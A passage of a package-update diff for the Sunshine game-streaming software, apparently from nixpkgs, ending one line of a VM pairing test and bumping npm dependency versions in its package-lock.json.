+    sunshine.succeed("curl --fail --insecure -u sunshine:sunshine -H 'Content-Type: application/json' -d '{\"pin\":\"1234\",\"name\":\"sunshine\"}' https://localhost:47990/api/pin")
 
     # wait until pairing is complete
     moonlight.wait_for_console_text("Executing request.*phrase=pairchallenge")
diff --git a/pkgs/by-name/su/sunshine/package-lock.json b/pkgs/by-name/su/sunshine/package-lock.json
index a9fe445c26bc..2c15793ed12d 100644
--- a/pkgs/by-name/su/sunshine/package-lock.json
+++ b/pkgs/by-name/su/sunshine/package-lock.json
@@ -8,42 +8,98 @@
       "name": "sunshine",
       "version": "0.0.0",
       "dependencies": {
-        "@lizardbyte/shared-web": "2024.921.191855",
-        "vue": "3.5.13",
-        "vue-i18n": "11.0.1"
+        "@lizardbyte/shared-web": "2025.626.181239",
+        "vue": "3.5.17",
+        "vue-i18n": "11.1.7"
       },
       "devDependencies": {
+        "@codecov/vite-plugin": "1.9.1",
         "@vitejs/plugin-vue": "4.6.2",
-        "serve": "14.2.3",
-        "vite": "4.5.2",
+        "serve": "14.2.4",
+        "vite": "4.5.14",
         "vite-plugin-ejs": "1.6.4"
       }
     },
+    "node_modules/@actions/core": {
+      "version": "1.11.1",
+      "resolved": "https://registry.npmjs.org/@actions/core/-/core-1.11.1.tgz",
+      "integrity": "sha512-hXJCSrkwfA46Vd9Z3q4cpEpHB1rL5NG04+/rbqW9d3+CSvtB1tYe8UTpAlixa1vj0m/ULglfEK2UKxMGxCxv5A==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@actions/exec": "^1.1.1",
+        "@actions/http-client": "^2.0.1"
+      }
+    },
+    "node_modules/@actions/exec": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/@actions/exec/-/exec-1.1.1.tgz",
+      "integrity": "sha512-+sCcHHbVdk93a0XT19ECtO/gIXoxvdsgQLzb2fE2/5sIZmWQuluYyjPQtrtTHdU1YzTZ7bAPN4sITq2xi1679w==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@actions/io": "^1.0.1"
+      }
+    },
+    "node_modules/@actions/github": {
+      "version": "6.0.1",
+      "resolved": "https://registry.npmjs.org/@actions/github/-/github-6.0.1.tgz",
+      "integrity": "sha512-xbZVcaqD4XnQAe35qSQqskb3SqIAfRyLBrHMd/8TuL7hJSz2QtbDwnNM8zWx4zO5l2fnGtseNE3MbEvD7BxVMw==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@actions/http-client": "^2.2.0",
+        "@octokit/core": "^5.0.1",
+        "@octokit/plugin-paginate-rest": "^9.2.2",
+        "@octokit/plugin-rest-endpoint-methods": "^10.4.0",
+        "@octokit/request": "^8.4.1",
+        "@octokit/request-error": "^5.1.1",
+        "undici": "^5.28.5"
+      }
+    },
+    "node_modules/@actions/http-client": {
+      "version": "2.2.3",
+      "resolved": "https://registry.npmjs.org/@actions/http-client/-/http-client-2.2.3.tgz",
+      "integrity": "sha512-mx8hyJi/hjFvbPokCg4uRd4ZX78t+YyRPtnKWwIl+RzNaVuFpQHfmlGVfsKEJN8LwTCvL+DfVgAM04XaHkm6bA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "tunnel": "^0.0.6",
+        "undici": "^5.25.4"
+      }
+    },
+    "node_modules/@actions/io": {
+      "version": "1.1.3",
+      "resolved": "https://registry.npmjs.org/@actions/io/-/io-1.1.3.tgz",
+      "integrity": "sha512-wi9JjgKLYS7U/z8PPbco+PvTb/nRWjeoFlJ1Qer83k/3C5PHQi28hiVdeE2kHXmIL99mQFawx8qt/JPjZilJ8Q==",
+      "dev": true,
+      "license": "MIT"
+    },
     "node_modules/@babel/helper-string-parser": {
-      "version": "7.25.9",
-      "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.25.9.tgz",
-      "integrity": "sha512-4A/SCr/2KLd5jrtOMFzaKjVtAei3+2r/NChoBNoZ3EyP/+GlhoaEGoWOZUmFmoITP7zOJyHIMm+DYRd8o3PvHA==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz",
+      "integrity": "sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA==",
       "license": "MIT",
       "engines": {
         "node": ">=6.9.0"
       }
     },
     "node_modules/@babel/helper-validator-identifier": {
-      "version": "7.25.9",
-      "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.25.9.tgz",
-      "integrity": "sha512-Ed61U6XJc3CVRfkERJWDz4dJwKe7iLmmJsbOGu9wSloNSFttHV0I8g6UAgb7qnK5ly5bGLPd4oXZlxCdANBOWQ==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.27.1.tgz",
+      "integrity": "sha512-D2hP9eA+Sqx1kBZgzxZh0y1trbuU+JoDkiEwqhQ36nodYqJwyEIhPSdMNd7lOm/4io72luTPWH20Yda0xOuUow==",
       "license": "MIT",
       "engines": {
         "node": ">=6.9.0"
       }
     },
     "node_modules/@babel/parser": {
-      "version": "7.26.5",
-      "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.26.5.tgz",
-      "integrity": "sha512-SRJ4jYmXRqV1/Xc+TIVG84WjHBXKlxO9sHQnA2Pf12QQEAp1LOh6kDzNHXcUnbH1QI0FDoPPVOt+vyUDucxpaw==",
+      "version": "7.27.7",
+      "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.27.7.tgz",
+      "integrity": "sha512-qnzXzDXdr/po3bOTbTIQZ7+TxNKxpkN5IifVLXS+r7qwynkZfPyjZfE7hCXbo7IoO9TNcSyibgONsf2HauUd3Q==",
       "license": "MIT",
       "dependencies": {
-        "@babel/types": "^7.26.5"
+        "@babel/types": "^7.27.7"
       },
       "bin": {
         "parser": "bin/babel-parser.js"
@@ -53,18 +109,53 @@
       }
     },
     "node_modules/@babel/types": {
-      "version": "7.26.5",
-      "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.26.5.tgz",
-      "integrity": "sha512-L6mZmwFDK6Cjh1nRCLXpa6no13ZIioJDz7mdkzHv399pThrTa/k0nUlNaenOeh2kWu/iaOQYElEpKPUswUa9Vg==",
+      "version": "7.27.7",
+      "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.27.7.tgz",
+      "integrity": "sha512-8OLQgDScAOHXnAz2cV+RfzzNMipuLVBz2biuAJFMV9bfkNf393je3VM8CLkjQodW5+iWsSJdSgSWT6rsZoXHPw==",
       "license": "MIT",
       "dependencies": {
-        "@babel/helper-string-parser": "^7.25.9",
-        "@babel/helper-validator-identifier": "^7.25.9"
+        "@babel/helper-string-parser": "^7.27.1",
+        "@babel/helper-validator-identifier": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
       }
     },
+    "node_modules/@codecov/bundler-plugin-core": {
+      "version": "1.9.1",
+      "resolved": "https://registry.npmjs.org/@codecov/bundler-plugin-core/-/bundler-plugin-core-1.9.1.tgz",
+      "integrity": "sha512-dt3ic7gMswz4p/qdkYPVJwXlLiLsz55rBBn2I7mr0HTG8pCoLRqnANJIwo5WrqGBZgPyVSMPBqBra6VxLWfDyA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@actions/core": "^1.10.1",
+        "@actions/github": "^6.0.0",
+        "chalk": "4.1.2",
+        "semver": "^7.5.4",
+        "unplugin": "^1.10.1",
+        "zod": "^3.22.4"
+      },
+      "engines": {
+        "node": ">=18.0.0"
+      }
+    },
+    "node_modules/@codecov/vite-plugin": {
+      "version": "1.9.1",
+      "resolved": "https://registry.npmjs.org/@codecov/vite-plugin/-/vite-plugin-1.9.1.tgz",
+      "integrity": "sha512-S6Yne7comVulJ1jD3T7rCfYFHPR0zUjAYoLjUDPXNJCUrdzWJdf/ak/UepE7TicqQG+yBa6eb5WusqcPgg+1AQ==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@codecov/bundler-plugin-core": "^1.9.1",
+        "unplugin": "^1.10.1"
+      },
+      "engines": {
+        "node": ">=18.0.0"
+      },
+      "peerDependencies": {
+        "vite": "4.x || 5.x || 6.x"
+      }
+    },
     "node_modules/@esbuild/android-arm": {
       "version": "0.18.20",
       "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.18.20.tgz",
@@ -439,23 +530,33 @@
         "node": ">=12"
       }
     },
+    "node_modules/@fastify/busboy": {
+      "version": "2.1.1",
+      "resolved": "https://registry.npmjs.org/@fastify/busboy/-/busboy-2.1.1.tgz",
+      "integrity": "sha512-vBZP4NlzfOlerQTnba4aqZoMhE/a9HY7HRqoOPaETQcSQuWEIyZMHGfVu6w9wGtGK5fED5qRs2DteVCjOH60sA==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=14"
+      }
+    },
     "node_modules/@fortawesome/fontawesome-free": {
-      "version": "6.6.0",
-      "resolved": "https://registry.npmjs.org/@fortawesome/fontawesome-free/-/fontawesome-free-6.6.0.tgz",
-      "integrity": "sha512-60G28ke/sXdtS9KZCpZSHHkCbdsOGEhIUGlwq6yhY74UpTiToIh8np7A8yphhM4BWsvNFtIvLpi4co+h9Mr9Ow==",
+      "version": "6.7.2",
+      "resolved": "https://registry.npmjs.org/@fortawesome/fontawesome-free/-/fontawesome-free-6.7.2.tgz",
+      "integrity": "sha512-JUOtgFW6k9u4Y+xeIaEiLr3+cjoUPiAuLXoyKOJSia6Duzb7pq+A76P9ZdPDoAoxHdHzq6gE9/jKBGXlZT8FbA==",
       "license": "(CC-BY-4.0 AND OFL-1.1 AND MIT)",
       "engines": {
         "node": ">=6"
       }
     },
     "node_modules/@intlify/core-base": {
-      "version": "11.0.1",
-      "resolved": "https://registry.npmjs.org/@intlify/core-base/-/core-base-11.0.1.tgz",
-      "integrity": "sha512-NAmhw1l/llM0HZRpagR/ChJTNymW4ll6/4EDSJML5c8L5Hl/+k6UyF8EIgE6DeHpfheQujkSRngauViHqq6jJQ==",
+      "version": "11.1.7",
+      "resolved": "https://registry.npmjs.org/@intlify/core-base/-/core-base-11.1.7.tgz",
+      "integrity": "sha512-gYiGnQeJVp3kNBeXQ73m1uFOak0ry4av8pn+IkEWigyyPWEMGzB+xFeQdmGMFn49V+oox6294oGVff8bYOhtOw==",
       "license": "MIT",
       "dependencies": {
-        "@intlify/message-compiler": "11.0.1",
-        "@intlify/shared": "11.0.1"
+        "@intlify/message-compiler": "11.1.7",
+        "@intlify/shared": "11.1.7"
       },
       "engines": {
         "node": ">= 16"
@@ -465,12 +566,12 @@
       }
     },
     "node_modules/@intlify/message-compiler": {
-      "version": "11.0.1",
-      "resolved": "https://registry.npmjs.org/@intlify/message-compiler/-/message-compiler-11.0.1.tgz",
-      "integrity": "sha512-5RFH8x+Mn3mbjcHXnb6KCXGiczBdiQkWkv99iiA0JpKrNuTAQeW59Pjq/uObMB0eR0shnKYGTkIJxum+DbL3sw==",
+      "version": "11.1.7",
+      "resolved": "https://registry.npmjs.org/@intlify/message-compiler/-/message-compiler-11.1.7.tgz",
+      "integrity": "sha512-0ezkep1AT30NyuKj8QbRlmvMORCCRlOIIu9v8RNU8SwDjjTiFCZzczCORMns2mCH4HZ1nXgrfkKzYUbfjNRmng==",
       "license": "MIT",
       "dependencies": {
-        "@intlify/shared": "11.0.1",
+        "@intlify/shared": "11.1.7",
         "source-map-js": "^1.0.2"
       },
       "engines": {
@@ -481,9 +582,9 @@
       }
     },
     "node_modules/@intlify/shared": {
-      "version": "11.0.1",
-      "resolved": "https://registry.npmjs.org/@intlify/shared/-/shared-11.0.1.tgz",
-      "integrity": "sha512-lH164+aDDptHZ3dBDbIhRa1dOPQUp+83iugpc+1upTOWCnwyC1PVis6rSWNMMJ8VQxvtHQB9JMib48K55y0PvQ==",
+      "version": "11.1.7",
+      "resolved": "https://registry.npmjs.org/@intlify/shared/-/shared-11.1.7.tgz",
+      "integrity": "sha512-4yZeMt2Aa/7n5Ehy4KalUlvt3iRLcg1tq9IBVfOgkyWFArN4oygn6WxgGIFibP3svpaH8DarbNaottq+p0gUZQ==",
       "license": "MIT",
       "engines": {
         "node": ">= 16"
@@ -493,19 +594,194 @@
       }
     },
     "node_modules/@jridgewell/sourcemap-codec": {
-      "version": "1.5.0",
-      "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.0.tgz",
-      "integrity": "sha512-gv3ZRaISU3fjPAgNsriBRqGWQL6quFx04YMPW/zD8XMLsU32mhCCbfbO6KZFLjvYpCZ8zyDEgqsgf+PwPaM7GQ==",
+      "version": "1.5.4",
+      "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.4.tgz",
+      "integrity": "sha512-VT2+G1VQs/9oz078bLrYbecdZKs912zQlkelYpuf+SXF+QvZDYJlbx/LSx+meSAwdDFnF8FVXW92AVjjkVmgFw==",
       "license": "MIT"
     },
     "node_modules/@lizardbyte/shared-web": {
-      "version": "2024.921.191855",
-      "resolved": "https://registry.npmjs.org/@lizardbyte/shared-web/-/shared-web-2024.921.191855.tgz",
-      "integrity": "sha512-b/04hPn/Bl5RNkFWp07vtA74CxN20jgiujX60EkLv5y2PjQGkrlkd9tDqDG/uj9y0M0ntx7ymymtLK3x5OLulw==",
+      "version": "2025.626.181239",
+      "resolved": "https://registry.npmjs.org/@lizardbyte/shared-web/-/shared-web-2025.626.181239.tgz",
+      "integrity": "sha512-8wZxaUkgnnABMlxzg4Q786yTXufYR0gfgiclkOVgxoqXAWIAiQr10GfKDfb7TKvslqj4EZ8eg7CWJ92Sr9DFPQ==",
       "license": "AGPL-3.0-only",
       "dependencies": {
-        "@fortawesome/fontawesome-free": "6.6.0",
-        "bootstrap": "5.3.3"
+        "@fortawesome/fontawesome-free": "6.7.2",
+        "bootstrap": "5.3.7"
+      },
+      "funding": {
+        "url": "https://app.lizardbyte.dev"
+      }
+    },
+    "node_modules/@octokit/auth-token": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/@octokit/auth-token/-/auth-token-4.0.0.tgz",
+      "integrity": "sha512-tY/msAuJo6ARbK6SPIxZrPBms3xPbfwBrulZe0Wtr/DIY9lje2HeV1uoebShn6mx7SjCHif6EjMvoREj+gZ+SA==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">= 18"
+      }
+    },
+    "node_modules/@octokit/core": {
+      "version": "5.2.1",
+      "resolved": "https://registry.npmjs.org/@octokit/core/-/core-5.2.1.tgz",
+      "integrity": "sha512-dKYCMuPO1bmrpuogcjQ8z7ICCH3FP6WmxpwC03yjzGfZhj9fTJg6+bS1+UAplekbN2C+M61UNllGOOoAfGCrdQ==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@octokit/auth-token": "^4.0.0",
+        "@octokit/graphql": "^7.1.0",
+        "@octokit/request": "^8.4.1",
+        "@octokit/request-error": "^5.1.1",
+        "@octokit/types": "^13.0.0",
+        "before-after-hook": "^2.2.0",
+        "universal-user-agent": "^6.0.0"
+      },
+      "engines": {
+        "node": ">= 18"
+      }
+    },
+    "node_modules/@octokit/endpoint": {
+      "version": "9.0.6",
+      "resolved": "https://registry.npmjs.org/@octokit/endpoint/-/endpoint-9.0.6.tgz",
+      "integrity": "sha512-H1fNTMA57HbkFESSt3Y9+FBICv+0jFceJFPWDePYlR/iMGrwM5ph+Dd4XRQs+8X+PUFURLQgX9ChPfhJ/1uNQw==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@octokit/types": "^13.1.0",
+        "universal-user-agent": "^6.0.0"
+      },
+      "engines": {
+        "node": ">= 18"
+      }
+    },
+    "node_modules/@octokit/graphql": {
+      "version": "7.1.1",
+      "resolved": "https://registry.npmjs.org/@octokit/graphql/-/graphql-7.1.1.tgz",
+      "integrity": "sha512-3mkDltSfcDUoa176nlGoA32RGjeWjl3K7F/BwHwRMJUW/IteSa4bnSV8p2ThNkcIcZU2umkZWxwETSSCJf2Q7g==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@octokit/request": "^8.4.1",
+        "@octokit/types": "^13.0.0",
+        "universal-user-agent": "^6.0.0"
+      },
+      "engines": {
+        "node": ">= 18"
+      }
+    },
+    "node_modules/@octokit/openapi-types": {
+      "version": "24.2.0",
+      "resolved": "https://registry.npmjs.org/@octokit/openapi-types/-/openapi-types-24.2.0.tgz",
+      "integrity": "sha512-9sIH3nSUttelJSXUrmGzl7QUBFul0/mB8HRYl3fOlgHbIWG+WnYDXU3v/2zMtAvuzZ/ed00Ei6on975FhBfzrg==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/@octokit/plugin-paginate-rest": {
+      "version": "9.2.2",
+      "resolved": "https://registry.npmjs.org/@octokit/plugin-paginate-rest/-/plugin-paginate-rest-9.2.2.tgz",
+      "integrity": "sha512-u3KYkGF7GcZnSD/3UP0S7K5XUFT2FkOQdcfXZGZQPGv3lm4F2Xbf71lvjldr8c1H3nNbF+33cLEkWYbokGWqiQ==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@octokit/types": "^12.6.0"
+      },
+      "engines": {
+        "node": ">= 18"
+      },
+      "peerDependencies": {
+        "@octokit/core": "5"
+      }
+    },
+    "node_modules/@octokit/plugin-paginate-rest/node_modules/@octokit/openapi-types": {
+      "version": "20.0.0",
+      "resolved": "https://registry.npmjs.org/@octokit/openapi-types/-/openapi-types-20.0.0.tgz",
+      "integrity": "sha512-EtqRBEjp1dL/15V7WiX5LJMIxxkdiGJnabzYx5Apx4FkQIFgAfKumXeYAqqJCj1s+BMX4cPFIFC4OLCR6stlnA==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/@octokit/plugin-paginate-rest/node_modules/@octokit/types": {
+      "version": "12.6.0",
+      "resolved": "https://registry.npmjs.org/@octokit/types/-/types-12.6.0.tgz",
+      "integrity": "sha512-1rhSOfRa6H9w4YwK0yrf5faDaDTb+yLyBUKOCV4xtCDB5VmIPqd/v9yr9o6SAzOAlRxMiRiCic6JVM1/kunVkw==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@octokit/openapi-types": "^20.0.0"
+      }
+    },
+    "node_modules/@octokit/plugin-rest-endpoint-methods": {
+      "version": "10.4.1",
+      "resolved": "https://registry.npmjs.org/@octokit/plugin-rest-endpoint-methods/-/plugin-rest-endpoint-methods-10.4.1.tgz",
+      "integrity": "sha512-xV1b+ceKV9KytQe3zCVqjg+8GTGfDYwaT1ATU5isiUyVtlVAO3HNdzpS4sr4GBx4hxQ46s7ITtZrAsxG22+rVg==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@octokit/types": "^12.6.0"
+      },
+      "engines": {
+        "node": ">= 18"
+      },
+      "peerDependencies": {
+        "@octokit/core": "5"
+      }
+    },
+    "node_modules/@octokit/plugin-rest-endpoint-methods/node_modules/@octokit/openapi-types": {
+      "version": "20.0.0",
+      "resolved": "https://registry.npmjs.org/@octokit/openapi-types/-/openapi-types-20.0.0.tgz",
+      "integrity": "sha512-EtqRBEjp1dL/15V7WiX5LJMIxxkdiGJnabzYx5Apx4FkQIFgAfKumXeYAqqJCj1s+BMX4cPFIFC4OLCR6stlnA==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/@octokit/plugin-rest-endpoint-methods/node_modules/@octokit/types": {
+      "version": "12.6.0",
+      "resolved": "https://registry.npmjs.org/@octokit/types/-/types-12.6.0.tgz",
+      "integrity": "sha512-1rhSOfRa6H9w4YwK0yrf5faDaDTb+yLyBUKOCV4xtCDB5VmIPqd/v9yr9o6SAzOAlRxMiRiCic6JVM1/kunVkw==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@octokit/openapi-types": "^20.0.0"
+      }
+    },
+    "node_modules/@octokit/request": {
+      "version": "8.4.1",
+      "resolved": "https://registry.npmjs.org/@octokit/request/-/request-8.4.1.tgz",
+      "integrity": "sha512-qnB2+SY3hkCmBxZsR/MPCybNmbJe4KAlfWErXq+rBKkQJlbjdJeS85VI9r8UqeLYLvnAenU8Q1okM/0MBsAGXw==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@octokit/endpoint": "^9.0.6",
+        "@octokit/request-error": "^5.1.1",
+        "@octokit/types": "^13.1.0",
+        "universal-user-agent": "^6.0.0"
+      },
+      "engines": {
+        "node": ">= 18"
+      }
+    },
+    "node_modules/@octokit/request-error": {
+      "version": "5.1.1",
+      "resolved": "https://registry.npmjs.org/@octokit/request-error/-/request-error-5.1.1.tgz",
+      "integrity": "sha512-v9iyEQJH6ZntoENr9/yXxjuezh4My67CBSu9r6Ve/05Iu5gNgnisNWOsoJHTP6k0Rr0+HQIpnH+kyammu90q/g==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@octokit/types": "^13.1.0",
+        "deprecation": "^2.0.0",
+        "once": "^1.4.0"
+      },
+      "engines": {
+        "node": ">= 18"
+      }
+    },
+    "node_modules/@octokit/types": {
+      "version": "13.10.0",
+      "resolved": "https://registry.npmjs.org/@octokit/types/-/types-13.10.0.tgz",
+      "integrity": "sha512-ifLaO34EbbPj0Xgro4G5lP5asESjwHracYJvVaPIyXMuiuXLlhic3S47cBdTb+jfODkTE5YtGCLt3Ay3+J97sA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@octokit/openapi-types": "^24.2.0"
       }
     },
     "node_modules/@popperjs/core": {
@@ -534,53 +810,53 @@
       }
     },
     "node_modules/@vue/compiler-core": {
-      "version": "3.5.13",
-      "resolved": "https://registry.npmjs.org/@vue/compiler-core/-/compiler-core-3.5.13.tgz",
-      "integrity": "sha512-oOdAkwqUfW1WqpwSYJce06wvt6HljgY3fGeM9NcVA1HaYOij3mZG9Rkysn0OHuyUAGMbEbARIpsG+LPVlBJ5/Q==",
+      "version": "3.5.17",
+      "resolved": "https://registry.npmjs.org/@vue/compiler-core/-/compiler-core-3.5.17.tgz",
+      "integrity": "sha512-Xe+AittLbAyV0pabcN7cP7/BenRBNcteM4aSDCtRvGw0d9OL+HG1u/XHLY/kt1q4fyMeZYXyIYrsHuPSiDPosA==",
       "license": "MIT",
       "dependencies": {
-        "@babel/parser": "^7.25.3",
-        "@vue/shared": "3.5.13",
+        "@babel/parser": "^7.27.5",
+        "@vue/shared": "3.5.17",
         "entities": "^4.5.0",
         "estree-walker": "^2.0.2",
-        "source-map-js": "^1.2.0"
+        "source-map-js": "^1.2.1"
       }
     },
     "node_modules/@vue/compiler-dom": {
-      "version": "3.5.13",
-      "resolved": "https://registry.npmjs.org/@vue/compiler-dom/-/compiler-dom-3.5.13.tgz",
-      "integrity": "sha512-ZOJ46sMOKUjO3e94wPdCzQ6P1Lx/vhp2RSvfaab88Ajexs0AHeV0uasYhi99WPaogmBlRHNRuly8xV75cNTMDA==",
+      "version": "3.5.17",
+      "resolved": "https://registry.npmjs.org/@vue/compiler-dom/-/compiler-dom-3.5.17.tgz",
+      "integrity": "sha512-+2UgfLKoaNLhgfhV5Ihnk6wB4ljyW1/7wUIog2puUqajiC29Lp5R/IKDdkebh9jTbTogTbsgB+OY9cEWzG95JQ==",
       "license": "MIT",
       "dependencies": {
-        "@vue/compiler-core": "3.5.13",
-        "@vue/shared": "3.5.13"
+        "@vue/compiler-core": "3.5.17",
+        "@vue/shared": "3.5.17"
       }
     },
     "node_modules/@vue/compiler-sfc": {
-      "version": "3.5.13",
-      "resolved": "https://registry.npmjs.org/@vue/compiler-sfc/-/compiler-sfc-3.5.13.tgz",
-      "integrity": "sha512-6VdaljMpD82w6c2749Zhf5T9u5uLBWKnVue6XWxprDobftnletJ8+oel7sexFfM3qIxNmVE7LSFGTpv6obNyaQ==",
+      "version": "3.5.17",
+      "resolved": "https://registry.npmjs.org/@vue/compiler-sfc/-/compiler-sfc-3.5.17.tgz",
+      "integrity": "sha512-rQQxbRJMgTqwRugtjw0cnyQv9cP4/4BxWfTdRBkqsTfLOHWykLzbOc3C4GGzAmdMDxhzU/1Ija5bTjMVrddqww==",
       "license": "MIT",
       "dependencies": {
-        "@babel/parser": "^7.25.3",
-        "@vue/compiler-core": "3.5.13",
-        "@vue/compiler-dom": "3.5.13",
-        "@vue/compiler-ssr": "3.5.13",
-        "@vue/shared": "3.5.13",
+        "@babel/parser": "^7.27.5",
+        "@vue/compiler-core": "3.5.17",
+        "@vue/compiler-dom": "3.5.17",
+        "@vue/compiler-ssr": "3.5.17",
+        "@vue/shared": "3.5.17",
         "estree-walker": "^2.0.2",
-        "magic-string": "^0.30.11",
-        "postcss": "^8.4.48",
-        "source-map-js": "^1.2.0"
+        "magic-string": "^0.30.17",
+        "postcss": "^8.5.6",
+        "source-map-js": "^1.2.1"
       }
     },
     "node_modules/@vue/compiler-ssr": {
-      "version": "3.5.13",
-      "resolved": "https://registry.npmjs.org/@vue/compiler-ssr/-/compiler-ssr-3.5.13.tgz",
-      "integrity": "sha512-wMH6vrYHxQl/IybKJagqbquvxpWCuVYpoUJfCqFZwa/JY1GdATAQ+TgVtgrwwMZ0D07QhA99rs/EAAWfvG6KpA==",
+      "version": "3.5.17",
+      "resolved": "https://registry.npmjs.org/@vue/compiler-ssr/-/compiler-ssr-3.5.17.tgz",
+      "integrity": "sha512-hkDbA0Q20ZzGgpj5uZjb9rBzQtIHLS78mMilwrlpWk2Ep37DYntUz0PonQ6kr113vfOEdM+zTBuJDaceNIW0tQ==",
       "license": "MIT",
       "dependencies": {
-        "@vue/compiler-dom": "3.5.13",
-        "@vue/shared": "3.5.13"
+        "@vue/compiler-dom": "3.5.17",
+        "@vue/shared": "3.5.17"
       }
     },
     "node_modules/@vue/devtools-api": {
@@ -590,53 +866,53 @@
       "license": "MIT"
     },
     "node_modules/@vue/reactivity": {
-      "version": "3.5.13",
-      "resolved": "https://registry.npmjs.org/@vue/reactivity/-/reactivity-3.5.13.tgz",
-      "integrity": "sha512-NaCwtw8o48B9I6L1zl2p41OHo/2Z4wqYGGIK1Khu5T7yxrn+ATOixn/Udn2m+6kZKB/J7cuT9DbWWhRxqixACg==",
+      "version": "3.5.17",
+      "resolved": "https://registry.npmjs.org/@vue/reactivity/-/reactivity-3.5.17.tgz",
+      "integrity": "sha512-l/rmw2STIscWi7SNJp708FK4Kofs97zc/5aEPQh4bOsReD/8ICuBcEmS7KGwDj5ODQLYWVN2lNibKJL1z5b+Lw==",
       "license": "MIT",
       "dependencies": {
-        "@vue/shared": "3.5.13"
+        "@vue/shared": "3.5.17"
       }
     },
     "node_modules/@vue/runtime-core": {
-      "version": "3.5.13",
-      "resolved": "https://registry.npmjs.org/@vue/runtime-core/-/runtime-core-3.5.13.tgz",
-      "integrity": "sha512-Fj4YRQ3Az0WTZw1sFe+QDb0aXCerigEpw418pw1HBUKFtnQHWzwojaukAs2X/c9DQz4MQ4bsXTGlcpGxU/RCIw==",
+      "version": "3.5.17",
+      "resolved": "https://registry.npmjs.org/@vue/runtime-core/-/runtime-core-3.5.17.tgz",
+      "integrity": "sha512-QQLXa20dHg1R0ri4bjKeGFKEkJA7MMBxrKo2G+gJikmumRS7PTD4BOU9FKrDQWMKowz7frJJGqBffYMgQYS96Q==",
       "license": "MIT",
       "dependencies": {
-        "@vue/reactivity": "3.5.13",
-        "@vue/shared": "3.5.13"
+        "@vue/reactivity": "3.5.17",
+        "@vue/shared": "3.5.17"
       }
     },
     "node_modules/@vue/runtime-dom": {
-      "version": "3.5.13",
-      "resolved": "https://registry.npmjs.org/@vue/runtime-dom/-/runtime-dom-3.5.13.tgz",
-      "integrity": "sha512-dLaj94s93NYLqjLiyFzVs9X6dWhTdAlEAciC3Moq7gzAc13VJUdCnjjRurNM6uTLFATRHexHCTu/Xp3eW6yoog==",
+      "version": "3.5.17",
+      "resolved": "https://registry.npmjs.org/@vue/runtime-dom/-/runtime-dom-3.5.17.tgz",
+      "integrity": "sha512-8El0M60TcwZ1QMz4/os2MdlQECgGoVHPuLnQBU3m9h3gdNRW9xRmI8iLS4t/22OQlOE6aJvNNlBiCzPHur4H9g==",
       "license": "MIT",
       "dependencies": {
-        "@vue/reactivity": "3.5.13",
-        "@vue/runtime-core": "3.5.13",
-        "@vue/shared": "3.5.13",
+        "@vue/reactivity": "3.5.17",
+        "@vue/runtime-core": "3.5.17",
+        "@vue/shared": "3.5.17",
         "csstype": "^3.1.3"
       }
     },
     "node_modules/@vue/server-renderer": {
-      "version": "3.5.13",
-      "resolved": "https://registry.npmjs.org/@vue/server-renderer/-/server-renderer-3.5.13.tgz",
-      "integrity": "sha512-wAi4IRJV/2SAW3htkTlB+dHeRmpTiVIK1OGLWV1yeStVSebSQQOwGwIq0D3ZIoBj2C2qpgz5+vX9iEBkTdk5YA==",
+      "version": "3.5.17",
+      "resolved": "https://registry.npmjs.org/@vue/server-renderer/-/server-renderer-3.5.17.tgz",
+      "integrity": "sha512-BOHhm8HalujY6lmC3DbqF6uXN/K00uWiEeF22LfEsm9Q93XeJ/plHTepGwf6tqFcF7GA5oGSSAAUock3VvzaCA==",
       "license": "MIT",
       "dependencies": {
-        "@vue/compiler-ssr": "3.5.13",
-        "@vue/shared": "3.5.13"
+        "@vue/compiler-ssr": "3.5.17",
+        "@vue/shared": "3.5.17"
       },
       "peerDependencies": {
-        "vue": "3.5.13"
+        "vue": "3.5.17"
       }
     },
     "node_modules/@vue/shared": {
-      "version": "3.5.13",
-      "resolved": "https://registry.npmjs.org/@vue/shared/-/shared-3.5.13.tgz",
